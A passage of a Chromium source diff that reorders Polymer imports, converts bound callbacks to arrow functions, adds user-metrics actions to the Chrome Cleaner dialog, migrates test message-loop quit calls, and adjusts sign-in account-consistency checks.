 <link rel="import" href="chrome://resources/html/cr.html">
 <link rel="import" href="chrome://resources/html/cr/ui/drag_wrapper.html">
 <link rel="import" href="chrome://resources/html/load_time_data.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/iron-icon/iron-icon.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/iron-icons/iron-icons.html">
 <link rel="import" href="chrome://extensions/drag_and_drop_handler.html">
diff --git a/chrome/browser/resources/md_extensions/error_page.html b/chrome/browser/resources/md_extensions/error_page.html
index 742a824..e7f6ef2 100644
--- a/chrome/browser/resources/md_extensions/error_page.html
+++ b/chrome/browser/resources/md_extensions/error_page.html
@@ -1,6 +1,7 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/hidden_style_css.html">
 <link rel="import" href="chrome://resources/html/cr.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/iron-icons/iron-icons.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/iron-list/iron-list.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/neon-animation/neon-animatable-behavior.html">
diff --git a/chrome/browser/resources/md_extensions/item_list.html b/chrome/browser/resources/md_extensions/item_list.html
index 1488373..b5f786f 100644
--- a/chrome/browser/resources/md_extensions/item_list.html
+++ b/chrome/browser/resources/md_extensions/item_list.html
@@ -1,6 +1,7 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/hidden_style_css.html">
 <link rel="import" href="chrome://resources/html/cr.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/iron-list/iron-list.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/iron-resizable-behavior/iron-resizable-behavior.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/neon-animation/neon-animatable-behavior.html">
diff --git a/chrome/browser/resources/md_extensions/keyboard_shortcuts.html b/chrome/browser/resources/md_extensions/keyboard_shortcuts.html
index c4b1e18..bf779b8 100644
--- a/chrome/browser/resources/md_extensions/keyboard_shortcuts.html
+++ b/chrome/browser/resources/md_extensions/keyboard_shortcuts.html
@@ -1,7 +1,8 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/hidden_style_css.html">
 <link rel="import" href="chrome://resources/html/cr.html">
 <link rel="import" href="chrome://resources/html/md_select_css.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/neon-animation/neon-animatable-behavior.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-styles/color.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-styles/shadow.html">
diff --git a/chrome/browser/resources/md_extensions/load_error.html b/chrome/browser/resources/md_extensions/load_error.html
index b032246..c38872ce 100644
--- a/chrome/browser/resources/md_extensions/load_error.html
+++ b/chrome/browser/resources/md_extensions/load_error.html
@@ -1,9 +1,10 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/cr_dialog/cr_dialog.html">
 <link rel="import" href="chrome://resources/cr_elements/paper_button_style_css.html">
 <link rel="import" href="chrome://resources/cr_elements/shared_style_css.html">
 <link rel="import" href="chrome://resources/html/assert.html">
 <link rel="import" href="chrome://resources/html/cr.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-button/paper-button.html">
 <link rel="import" href="chrome://extensions/code_section.html">
 
diff --git a/chrome/browser/resources/md_extensions/manager.html b/chrome/browser/resources/md_extensions/manager.html
index b83e72d..2603abc 100644
--- a/chrome/browser/resources/md_extensions/manager.html
+++ b/chrome/browser/resources/md_extensions/manager.html
@@ -1,9 +1,10 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/cr_drawer/cr_drawer.html">
 <link rel="import" href="chrome://resources/cr_elements/cr_toolbar/cr_toolbar.html">
 <link rel="import" href="chrome://resources/cr_elements/hidden_style_css.html">
 <link rel="import" href="chrome://resources/html/cr.html">
 <link rel="import" href="chrome://resources/html/i18n_behavior.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/html/promise_resolver.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-header-panel/paper-header-panel.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-toggle-button/paper-toggle-button.html">
diff --git a/chrome/browser/resources/md_extensions/options_dialog.html b/chrome/browser/resources/md_extensions/options_dialog.html
index c00b200d..7899c54 100644
--- a/chrome/browser/resources/md_extensions/options_dialog.html
+++ b/chrome/browser/resources/md_extensions/options_dialog.html
@@ -1,7 +1,8 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/cr_dialog/cr_dialog.html">
 <link rel="import" href="chrome://resources/html/assert.html">
 <link rel="import" href="chrome://resources/html/cr.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 
 <dom-module id="extensions-options-dialog">
   <template>
diff --git a/chrome/browser/resources/md_extensions/sidebar.html b/chrome/browser/resources/md_extensions/sidebar.html
index c8dcb01..635f68e 100644
--- a/chrome/browser/resources/md_extensions/sidebar.html
+++ b/chrome/browser/resources/md_extensions/sidebar.html
@@ -1,5 +1,6 @@
-<link rel="import" href="chrome://resources/html/cr.html">
 <link rel="import" href="chrome://resources/html/polymer.html">
+
+<link rel="import" href="chrome://resources/html/cr.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-icon-button/paper-icon-button-light.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-item/paper-item.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-menu/paper-menu.html">
diff --git a/chrome/browser/resources/md_history/app.js b/chrome/browser/resources/md_history/app.js
index 058bd546..de2d100 100644
--- a/chrome/browser/resources/md_history/app.js
+++ b/chrome/browser/resources/md_history/app.js
@@ -299,9 +299,9 @@
   historyViewChanged_: function() {
     // This allows the synced-device-manager to render so that it can be set as
     // the scroll target.
-    requestAnimationFrame(function() {
+    requestAnimationFrame(() => {
       this._scrollHandler();
-    }.bind(this));
+    });
     this.recordHistoryPageView_();
   },
 
diff --git a/chrome/browser/resources/md_history/history_item.js b/chrome/browser/resources/md_history/history_item.js
index 36692e88..4aea6ae 100644
--- a/chrome/browser/resources/md_history/history_item.js
+++ b/chrome/browser/resources/md_history/history_item.js
@@ -220,9 +220,9 @@
      */
     onItemMousedown_: function(e) {
       this.mouseDown_ = true;
-      listenOnce(document, 'mouseup', function() {
+      listenOnce(document, 'mouseup', () => {
         this.mouseDown_ = false;
-      }.bind(this));
+      });
       // Prevent shift clicking a checkbox from selecting text.
       if (e.shiftKey)
         e.preventDefault();
diff --git a/chrome/browser/resources/md_history/history_list.js b/chrome/browser/resources/md_history/history_list.js
index 09ac844..b9a8b5f4 100644
--- a/chrome/browser/resources/md_history/history_list.js
+++ b/chrome/browser/resources/md_history/history_list.js
@@ -142,9 +142,9 @@
    * Deselect each item in |selectedItems|.
    */
   unselectAllItems: function() {
-    this.selectedItems.forEach(function(index) {
+    this.selectedItems.forEach((index) => {
       this.changeSelection_(index, false);
-    }.bind(this));
+    });
 
     assert(this.selectedItems.size == 0);
   },
@@ -197,17 +197,15 @@
    * @private
    */
   deleteSelected_: function() {
-    var toBeRemoved =
-        Array.from(this.selectedItems.values()).map(function(index) {
-          return this.get('historyData_.' + index);
-        }.bind(this));
+    var toBeRemoved = Array.from(this.selectedItems.values())
+                          .map((index) => this.get('historyData_.' + index));
 
     md_history.BrowserService.getInstance()
         .deleteItems(toBeRemoved)
-        .then(function(items) {
+        .then((items) => {
           this.removeItemsByIndex_(Array.from(this.selectedItems));
           this.fire('unselect-all');
-        }.bind(this));
+        });
   },
 
   /**
@@ -223,7 +221,7 @@
       // Sort in reverse numerical order.
       return b - a;
     });
-    indices.forEach(function(index) {
+    indices.forEach((index) => {
       var item = this.historyData_.splice(index, 1);
       splices.push({
         index: index,
@@ -232,7 +230,7 @@
         object: this.historyData_,
         type: 'splice'
       });
-    }.bind(this));
+    });
     this.notifySplices('historyData_', splices);
   },
 
@@ -337,7 +335,7 @@
     browserService.recordAction('EntryMenuRemoveFromHistory');
     var menu = assert(this.$.sharedMenu.getIfExists());
     var itemData = this.actionMenuModel_;
-    browserService.deleteItems([itemData.item]).then(function(items) {
+    browserService.deleteItems([itemData.item]).then((items) => {
       // This unselect-all resets the toolbar when deleting a selected item
       // and clears selection state which can be invalid if items move
       // around during deletion.
@@ -359,7 +357,7 @@
             'HistoryPage.RemoveEntryPositionSubset', index,
             UMA_MAX_SUBSET_BUCKET_VALUE);
       }
-    }.bind(this));
+    });
     this.closeMenu_();
   },
 
@@ -385,9 +383,9 @@
 
     var selected = !this.selectedItems.has(index);
 
-    indices.forEach(function(index) {
+    indices.forEach((index) => {
       this.changeSelection_(index, selected);
-    }.bind(this));
+    });
 
     this.lastSelectedIndex = index;
   },
diff --git a/chrome/browser/resources/md_history/synced_device_manager.js b/chrome/browser/resources/md_history/synced_device_manager.js
index ad4da3d..fc9adaa 100644
--- a/chrome/browser/resources/md_history/synced_device_manager.js
+++ b/chrome/browser/resources/md_history/synced_device_manager.js
@@ -187,9 +187,9 @@
                 return prev.concat(cur.createFocusRows());
               },
               [])
-          .forEach(function(row) {
+          .forEach((row) => {
             this.focusGrid_.addRow(row);
-          }.bind(this));
+          });
       this.focusGrid_.ensureRowActive(1);
     });
   },
@@ -277,11 +277,11 @@
     }
 
     var devices = [];
-    sessionList.forEach(function(session) {
+    sessionList.forEach((session) => {
       var device = this.createInternalDevice_(session);
       if (device.tabs.length != 0)
         devices.push(device);
-    }.bind(this));
+    });
 
     this.syncedDevices_ = devices;
   },
diff --git a/chrome/browser/resources/net_internals/quic_view.html b/chrome/browser/resources/net_internals/quic_view.html
index 887adb9..bfbe354 100644
--- a/chrome/browser/resources/net_internals/quic_view.html
+++ b/chrome/browser/resources/net_internals/quic_view.html
@@ -39,7 +39,7 @@
           </span>
        </td>
       </tr><tr>
-        <td>Mark QUIC Broken When Network Blacholes</td>
+        <td>Mark QUIC Broken When Network Blackholes</td>
         <td>
           <span jscontent="!!$this.mark_quic_broken_when_network_blackholes">
           </span>
diff --git a/chrome/browser/resources/pdf/elements/viewer-zoom-toolbar/viewer-zoom-toolbar.js b/chrome/browser/resources/pdf/elements/viewer-zoom-toolbar/viewer-zoom-toolbar.js
index 6a4af8f..f76c8cb 100644
--- a/chrome/browser/resources/pdf/elements/viewer-zoom-toolbar/viewer-zoom-toolbar.js
+++ b/chrome/browser/resources/pdf/elements/viewer-zoom-toolbar/viewer-zoom-toolbar.js
@@ -56,6 +56,17 @@
   },
 
   /**
+   * Handle forcing zoom to fit-to-page via scripting.
+   */
+  forceFitToPage: function() {
+    this.fire('fit-to-page');
+
+    // Set the button state since there was no mouse click. Since the zoom is
+    // set to fit-to-page, the button should do fit-to-width on the next click.
+    this.$['fit-button'].activeIndex = FIT_TO_WIDTH;
+  },
+
+  /**
    * Handle clicks of the zoom-in-button.
    */
   zoomIn: function() {
diff --git a/chrome/browser/resources/pdf/pdf.js b/chrome/browser/resources/pdf/pdf.js
index 46c54be..bc92680 100644
--- a/chrome/browser/resources/pdf/pdf.js
+++ b/chrome/browser/resources/pdf/pdf.js
@@ -849,7 +849,7 @@
         this.loadState_ = LoadState.LOADING;
         if (!this.inPrintPreviewMode_) {
           this.inPrintPreviewMode_ = true;
-          this.viewport_.fitToPage();
+          this.zoomToolbar_.forceFitToPage();
         }
 
         // Stash the scroll location so that it can be restored when the new
diff --git a/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_browser_proxy.js b/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_browser_proxy.js
index 588389a0..f855f46 100644
--- a/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_browser_proxy.js
+++ b/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_browser_proxy.js
@@ -28,13 +28,15 @@
   /** @interface */
   class ClearBrowsingDataBrowserProxy {
     /**
+     * @param {!Array<string>} dataTypes
+     * @param {number} timePeriod
      * @param {!Array<!ImportantSite>} importantSites
      * @return {!Promise<boolean>}
      *     A promise resolved when data clearing has completed. The boolean
      *     indicates whether an additional dialog should be shown, informing the
      *     user about other forms of browsing history.
      */
-    clearBrowsingData(importantSites) {}
+    clearBrowsingData(dataTypes, timePeriod, importantSites) {}
 
     /**
      * @return {!Promise<!Array<!ImportantSite>>}
@@ -54,8 +56,9 @@
    */
   class ClearBrowsingDataBrowserProxyImpl {
     /** @override */
-    clearBrowsingData(importantSites) {
-      return cr.sendWithPromise('clearBrowsingData', importantSites);
+    clearBrowsingData(dataTypes, timePeriod, importantSites) {
+      return cr.sendWithPromise(
+          'clearBrowsingData', dataTypes, timePeriod, importantSites);
     }
 
     /** @override */
diff --git a/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.html b/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.html
index 347d949..94727ace 100644
--- a/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.html
+++ b/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.html
@@ -128,51 +128,51 @@
              history is disabled (i.e. supervised users, policy), so it's OK to
              have a hidden checkbox that's also checked (as the C++ accounts for
              whether a user is allowed to delete history independently). -->
-        <settings-checkbox id="browsingCheckbox"
+        <settings-checkbox id="browsingCheckbox" class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.browsing_history}}"
             label="$i18n{clearBrowsingHistory}"
             sub-label="[[counters_.browsing_history]]"
             disabled="[[clearingInProgress_]]"
             hidden="[[isSupervised_]]">
         </settings-checkbox>
-        <settings-checkbox id="downloadCheckbox"
+        <settings-checkbox id="downloadCheckbox" class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.download_history}}"
             label="$i18n{clearDownloadHistory}"
             sub-label="[[counters_.download_history]]"
             disabled="[[clearingInProgress_]]"
             hidden="[[isSupervised_]]">
         </settings-checkbox>
-        <settings-checkbox id="cacheCheckbox"
+        <settings-checkbox id="cacheCheckbox" class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.cache}}"
             label="$i18n{clearCache}"
             sub-label="[[counters_.cache]]"
             disabled="[[clearingInProgress_]]">
         </settings-checkbox>
-        <settings-checkbox id="cookiesCheckbox"
+        <settings-checkbox id="cookiesCheckbox" class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.cookies}}"
             label="$i18n{clearCookies}"
             sub-label="$i18n{clearCookiesCounter}"
             disabled="[[clearingInProgress_]]">
         </settings-checkbox>
-        <settings-checkbox
+        <settings-checkbox class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.passwords}}"
             label="$i18n{clearPasswords}"
             sub-label="[[counters_.passwords]]"
             disabled="[[clearingInProgress_]]">
         </settings-checkbox>
-        <settings-checkbox
+        <settings-checkbox class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.form_data}}"
             label="$i18n{clearFormData}"
             sub-label="[[counters_.form_data]]"
             disabled="[[clearingInProgress_]]">
         </settings-checkbox>
-        <settings-checkbox
+        <settings-checkbox class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.hosted_apps_data}}"
             label="$i18n{clearHostedAppData}"
             sub-label="[[counters_.hosted_apps_data]]"
             disabled="[[clearingInProgress_]]">
         </settings-checkbox>
-        <settings-checkbox
+        <settings-checkbox class="browsing-data-checkbox"
             pref="{{prefs.browser.clear_data.media_licenses}}"
             label="$i18n{clearMediaLicenses}"
             sub-label="[[counters_.media_licenses]]"
diff --git a/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.js b/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.js
index 66b6d65f..9010110 100644
--- a/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.js
+++ b/chrome/browser/resources/settings/clear_browsing_data_dialog/clear_browsing_data_dialog.js
@@ -196,7 +196,17 @@
   clearBrowsingData_: function() {
     this.clearingInProgress_ = true;
 
-    this.browserProxy_.clearBrowsingData(this.importantSites_)
+    var checkboxes = this.root.querySelectorAll('.browsing-data-checkbox');
+    var dataTypes = [];
+    checkboxes.forEach((checkbox) => {
+      if (checkbox.checked)
+        dataTypes.push(checkbox.pref.key);
+    });
+
+    var timePeriod = this.$.clearFrom.pref.value;
+
+    this.browserProxy_
+        .clearBrowsingData(dataTypes, timePeriod, this.importantSites_)
         .then(shouldShowNotice => {
           this.clearingInProgress_ = false;
           this.showHistoryDeletionDialog_ = shouldShowNotice;
diff --git a/chrome/browser/safe_browsing/browser_feature_extractor_unittest.cc b/chrome/browser/safe_browsing/browser_feature_extractor_unittest.cc
index ac4b39c9..83958d97 100644
--- a/chrome/browser/safe_browsing/browser_feature_extractor_unittest.cc
+++ b/chrome/browser/safe_browsing/browser_feature_extractor_unittest.cc
@@ -222,7 +222,7 @@
     // the test case which passed it to ExtractFeatures above.
     success_[request.release()] = success;
     if (--num_pending_ == 0) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
@@ -235,7 +235,7 @@
     // the test case which passed it to ExtractMalwareFeatures above.
     success_[request.release()] = success;
     if (--num_pending_ == 0) {
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 };
diff --git a/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_dialog_controller_impl_win.cc b/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_dialog_controller_impl_win.cc
index 94e798b..949162f 100644
--- a/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_dialog_controller_impl_win.cc
+++ b/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_dialog_controller_impl_win.cc
@@ -5,6 +5,8 @@
 #include "chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_dialog_controller_impl_win.h"
 
 #include "base/metrics/histogram_macros.h"
+#include "base/metrics/user_metrics.h"
+#include "base/metrics/user_metrics_action.h"
 #include "chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_navigation_util_win.h"
 #include "chrome/browser/safe_browsing/chrome_cleaner/srt_field_trial_win.h"
 #include "chrome/browser/ui/browser.h"
@@ -56,6 +58,8 @@
 
 void ChromeCleanerDialogControllerImpl::DialogShown() {
   time_dialog_shown_ = base::Time::Now();
+  base::RecordAction(
+      base::UserMetricsAction("SoftwareReporter.PromptDialog_Shown"));
 }
 
 void ChromeCleanerDialogControllerImpl::Accept(bool logs_enabled) {
@@ -66,6 +70,8 @@
   UMA_HISTOGRAM_LONG_TIMES_100(
       "SoftwareReporter.PromptDialog.TimeUntilDone_Accepted",
       base::Time::Now() - time_dialog_shown_);
+  base::RecordAction(
+      base::UserMetricsAction("SoftwareReporter.PromptDialog_Accepted"));
 
   cleaner_controller_->ReplyWithUserResponse(
       browser_->profile(),
@@ -84,6 +90,8 @@
   UMA_HISTOGRAM_LONG_TIMES_100(
       "SoftwareReporter.PromptDialog.TimeUntilDone_Canceled",
       base::Time::Now() - time_dialog_shown_);
+  base::RecordAction(
+      base::UserMetricsAction("SoftwareReporter.PromptDialog_Canceled"));
 
   cleaner_controller_->ReplyWithUserResponse(
       browser_->profile(), ChromeCleanerController::UserResponse::kDenied);
@@ -98,6 +106,8 @@
   UMA_HISTOGRAM_LONG_TIMES_100(
       "SoftwareReporter.PromptDialog.TimeUntilDone_Dismissed",
       base::Time::Now() - time_dialog_shown_);
+  base::RecordAction(
+      base::UserMetricsAction("SoftwareReporter.PromptDialog_Dismissed"));
 
   cleaner_controller_->ReplyWithUserResponse(
       browser_->profile(), ChromeCleanerController::UserResponse::kDismissed);
@@ -107,6 +117,8 @@
 void ChromeCleanerDialogControllerImpl::ClosedWithoutUserInteraction() {
   RecordPromptDialogResponseHistogram(
       PROMPT_DIALOG_RESPONSE_CLOSED_WITHOUT_USER_INTERACTION);
+  base::RecordAction(base::UserMetricsAction(
+      "SoftwareReporter.PromptDialog_ClosedWithoutUserInteraction"));
   OnInteractionDone();
 }
 
@@ -117,6 +129,8 @@
   UMA_HISTOGRAM_LONG_TIMES_100(
       "SoftwareReporter.PromptDialog.TimeUntilDone_DetailsButtonClicked",
       base::Time::Now() - time_dialog_shown_);
+  base::RecordAction(base::UserMetricsAction(
+      "SoftwareReporter.PromptDialog_DetailsButtonClicked"));
 
   cleaner_controller_->SetLogsEnabled(logs_enabled);
   OpenSettingsPage(browser_);
@@ -125,6 +139,13 @@
 
 void ChromeCleanerDialogControllerImpl::SetLogsEnabled(bool logs_enabled) {
   cleaner_controller_->SetLogsEnabled(logs_enabled);
+  if (logs_enabled) {
+    base::RecordAction(base::UserMetricsAction(
+        "SoftwareReporter.PromptDialog.LogsPermissionCheckbox_Enabled"));
+  } else {
+    base::RecordAction(base::UserMetricsAction(
+        "SoftwareReporter.PromptDialog.LogsPermissionCheckbox_Disabled"));
+  }
 }
 
 bool ChromeCleanerDialogControllerImpl::LogsEnabled() {
diff --git a/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_runner_win.cc b/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_runner_win.cc
index 30454fb..33bb785 100644
--- a/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_runner_win.cc
+++ b/chrome/browser/safe_browsing/chrome_cleaner/chrome_cleaner_runner_win.cc
@@ -12,6 +12,7 @@
 #include "base/feature_list.h"
 #include "base/location.h"
 #include "base/memory/ptr_util.h"
+#include "base/metrics/histogram_macros.h"
 #include "base/path_service.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/task_scheduler/post_task.h"
@@ -176,6 +177,9 @@
         LaunchStatus::kLaunchSucceededFailedToWaitForCompletion);
   }
 
+  UMA_HISTOGRAM_SPARSE_SLOWLY(
+      "SoftwareReporter.Cleaner.ExitCodeFromConnectedProcess", exit_code);
+
   return ProcessStatus(LaunchStatus::kSuccess, exit_code);
 }
 
diff --git a/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc b/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc
index e2772e6..7559c392 100644
--- a/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc
+++ b/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc
@@ -95,7 +95,7 @@
 
 ACTION(QuitUIMessageLoop) {
   EXPECT_TRUE(BrowserThread::CurrentlyOn(BrowserThread::UI));
-  base::MessageLoopForUI::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 ACTION_P(InvokeDoneCallback, verdict) {
diff --git a/chrome/browser/safe_browsing/safe_browsing_blocking_page_test.cc b/chrome/browser/safe_browsing/safe_browsing_blocking_page_test.cc
index 09f9903..25b9e86 100644
--- a/chrome/browser/safe_browsing/safe_browsing_blocking_page_test.cc
+++ b/chrome/browser/safe_browsing/safe_browsing_blocking_page_test.cc
@@ -13,6 +13,7 @@
 #include "base/command_line.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/test/histogram_tester.h"
@@ -280,7 +281,7 @@
       return;
 
     // Notify that we are gone
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     wait_for_delete_ = false;
   }
 
diff --git a/chrome/browser/safe_browsing/safe_browsing_service_browsertest.cc b/chrome/browser/safe_browsing/safe_browsing_service_browsertest.cc
index acb4877..1ecec56e 100644
--- a/chrome/browser/safe_browsing/safe_browsing_service_browsertest.cc
+++ b/chrome/browser/safe_browsing/safe_browsing_service_browsertest.cc
@@ -23,6 +23,7 @@
 #include "base/message_loop/message_loop.h"
 #include "base/metrics/field_trial.h"
 #include "base/path_service.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/stl_util.h"
 #include "base/strings/string_split.h"
@@ -1196,7 +1197,7 @@
                             base::BindOnce(&TestSBClient::CheckDone, this));
   }
 
-  void CheckDone() { base::MessageLoopForUI::current()->QuitWhenIdle(); }
+  void CheckDone() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   SBThreatType threat_type_;
   std::string threat_hash_;
@@ -1570,7 +1571,7 @@
                                   Profile::CreateStatus status) {
     if (status == Profile::CREATE_STATUS_INITIALIZED) {
       profile2_ = profile;
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/chrome/browser/search_engines/template_url_fetcher_unittest.cc b/chrome/browser/search_engines/template_url_fetcher_unittest.cc
index b6119bb..0941b0ba 100644
--- a/chrome/browser/search_engines/template_url_fetcher_unittest.cc
+++ b/chrome/browser/search_engines/template_url_fetcher_unittest.cc
@@ -14,7 +14,6 @@
 #include "base/files/file_util.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
@@ -129,7 +128,7 @@
 void TemplateURLFetcherTest::RequestCompletedCallback() {
   requests_completed_++;
   if (waiting_for_download_)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TemplateURLFetcherTest::StartDownload(
diff --git a/chrome/browser/service_process/service_process_control_browsertest.cc b/chrome/browser/service_process/service_process_control_browsertest.cc
index e2c119e..b5bbae6d 100644
--- a/chrome/browser/service_process/service_process_control_browsertest.cc
+++ b/chrome/browser/service_process/service_process_control_browsertest.cc
@@ -13,6 +13,7 @@
 #include "base/process/kill.h"
 #include "base/process/process.h"
 #include "base/process/process_iterator.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/test/test_timeouts.h"
 #include "base/threading/thread_restrictions.h"
@@ -60,7 +61,7 @@
   }
 
   static void QuitMessageLoop() {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   static void CloudPrintInfoCallback(
diff --git a/chrome/browser/signin/chrome_signin_helper.cc b/chrome/browser/signin/chrome_signin_helper.cc
index 31817c8..39e224f 100644
--- a/chrome/browser/signin/chrome_signin_helper.cc
+++ b/chrome/browser/signin/chrome_signin_helper.cc
@@ -54,8 +54,7 @@
     const content::ResourceRequestInfo::WebContentsGetter&
         web_contents_getter) {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
-  DCHECK_EQ(signin::AccountConsistencyMethod::kMirror,
-            signin::GetAccountConsistencyMethod());
+  DCHECK(IsAccountConsistencyMirrorEnabled());
 
   GAIAServiceType service_type = manage_accounts_params.service_type;
   DCHECK_NE(GAIA_SERVICE_TYPE_NONE, service_type);
@@ -115,8 +114,7 @@
     const content::ResourceRequestInfo::WebContentsGetter&
         web_contents_getter) {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
-  DCHECK_EQ(signin::AccountConsistencyMethod::kDice,
-            signin::GetAccountConsistencyMethod());
+  DCHECK(IsDiceFixAuthErrorsEnabled());
 
   content::WebContents* web_contents = web_contents_getter.Run();
   if (!web_contents)
@@ -163,8 +161,7 @@
     return;
   }
 
-  if (signin::GetAccountConsistencyMethod() !=
-      signin::AccountConsistencyMethod::kMirror) {
+  if (!IsAccountConsistencyMirrorEnabled()) {
     NOTREACHED() << "Gaia should not send the X-Chrome-Manage-Accounts header "
                  << "when Mirror is disabled.";
     return;
@@ -198,8 +195,7 @@
   if (!gaia::IsGaiaSignonRealm(request->url().GetOrigin()))
     return;
 
-  if (signin::GetAccountConsistencyMethod() !=
-      signin::AccountConsistencyMethod::kDice) {
+  if (!IsDiceFixAuthErrorsEnabled()) {
     return;
   }
 
@@ -269,7 +265,8 @@
   // If new url is eligible to have the header, add it, otherwise remove it.
   AppendOrRemoveAccountConsistentyRequestHeader(
       request, redirect_url, account_id, io_data->IsSyncEnabled(),
-      io_data->GetCookieSettings(), profile_mode_mask);
+      io_data->SyncHasAuthError(), io_data->GetCookieSettings(),
+      profile_mode_mask);
 }
 
 void ProcessAccountConsistencyResponseHeaders(net::URLRequest* request,
diff --git a/chrome/browser/signin/chrome_signin_helper_unittest.cc b/chrome/browser/signin/chrome_signin_helper_unittest.cc
index 4e92a0e3..76e1b5e6 100644
--- a/chrome/browser/signin/chrome_signin_helper_unittest.cc
+++ b/chrome/browser/signin/chrome_signin_helper_unittest.cc
@@ -146,7 +146,7 @@
 #if BUILDFLAG(ENABLE_DICE_SUPPORT)
 // Tests that Dice response headers are removed after being processed.
 TEST_F(ChromeSigninHelperTest, RemoveDiceSigninHeader) {
-  signin::ScopedAccountConsistencyDice scoped_dice;
+  signin::ScopedAccountConsistencyDiceFixAuthErrors scoped_dice_fix_auth_errors;
 
   TestResponseHelper test_response_helper;
   test_response_helper.CreateRequestWithResponseHeaders();
diff --git a/chrome/browser/signin/dice_browsertest.cc b/chrome/browser/signin/dice_browsertest.cc
index aa52616f..0632ae2 100644
--- a/chrome/browser/signin/dice_browsertest.cc
+++ b/chrome/browser/signin/dice_browsertest.cc
@@ -13,6 +13,7 @@
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/stringprintf.h"
 #include "build/build_config.h"
+#include "chrome/browser/profiles/profile.h"
